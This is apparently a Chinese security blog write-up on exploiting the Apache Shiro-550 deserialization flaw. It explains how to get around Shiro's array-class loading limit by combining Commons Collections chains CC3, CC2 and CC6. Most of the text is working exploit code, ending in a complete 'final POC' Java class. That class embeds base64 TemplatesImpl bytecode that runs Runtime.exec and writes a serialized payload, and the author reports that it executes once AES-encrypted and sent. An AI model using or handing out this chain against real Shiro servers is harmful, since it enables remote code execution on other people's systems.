前言
前篇通过urldns链来检测了shiro本文通过了550反序列化的存在CC链来进行shiro的代码执行
分析
shiro默认不是CC因此，我们需要自己添加依赖性
数组问题
直接用CC6链打，提示类不能加载[L是一个JVM这意味着它实际上是一个数组，也就是说，它不能加载Transformer[]。
简单看原因
在shiro自定义的deserialize中，调用是ois.readObject,而ois是ClassResolvingObjectInputStream的实例化
跟进下ClassResolvingObjectInputStream,只有一种结构方法和resolveClass()，这个resolveClass()是在java本地反序列化时会调用的一种方法，在这里重写，retrun返回的是ClassUtils.forName(osc.getName());
看看原生类
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String name = desc.getName(); try {
return Class.forName(name, false, latestUserDefinedLoader()); } catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name); if (cl != null) {
return cl; } else {
throw ex; } } } 他return的则是Class.forName，所以区别就在这里shiro中重写的resolveClass()调用自己写的工具类ClassUtils中的forName因此，数组类不能加载。(涉及到tomcat一些开发问题，所以简单理解一下就好)
所以现在的问题是，如果你绕过了数组问题，你可以在这里找到使用它的方法TemplatesImpl的动态加载字节码来防止数组出现
可以直接将CC取出3的前半部分
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{
bytes});
而CC3之后会有一个数组部分，即：
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
new InstantiateTransformer(new Class[]{
Templates.class},new Object[]{
templates})
};
但这里边其实只有两个数组，所以只需要想办法去掉一个那就完全用不到数组了，而这里ConstantTransformer是可以去掉的。
看下原因，整个链子调用到了LazyMap的get()方法的时候：
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
接下来本来是应该让调用了那个Chainedtransformer的transform，然后依次调用数组中的transformer。但是关键是，factory.transform(key)是把key给传了进去。也就是说，其实这个传入的key完全可以代替一个ConstantTransformer。这样一简化Transformer[]里面只有一个了，就干脆直接用了，不需要用chain了。
所以这里可以用CC6的后半部分，将TiedMapEntry的key值设为TemplatesImpl,就可以成功赋值了
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Sentiemnt2");
outerMap.remove(templates);
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,invokerTransformer);
我们最终的目的是调用TemplatesImpl的newTransformer，动态加载类进而执行代码,所以在通过CC2中的InvokerTransformer传入即可
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
这样以来就能调用TemplatesImpl.newTransformer了
最终POC
package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class shiroCC {
public static void main(String[] args) throws Exception {
//CC3
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{
bytes});
//CC2
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
//CC6
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Sentiemnt2");
outerMap.remove(templates);
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,invokerTransformer);
serialize(hashMap);
//unserialize("1.txt");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
序列化文件进行aes加密后，传参成功执行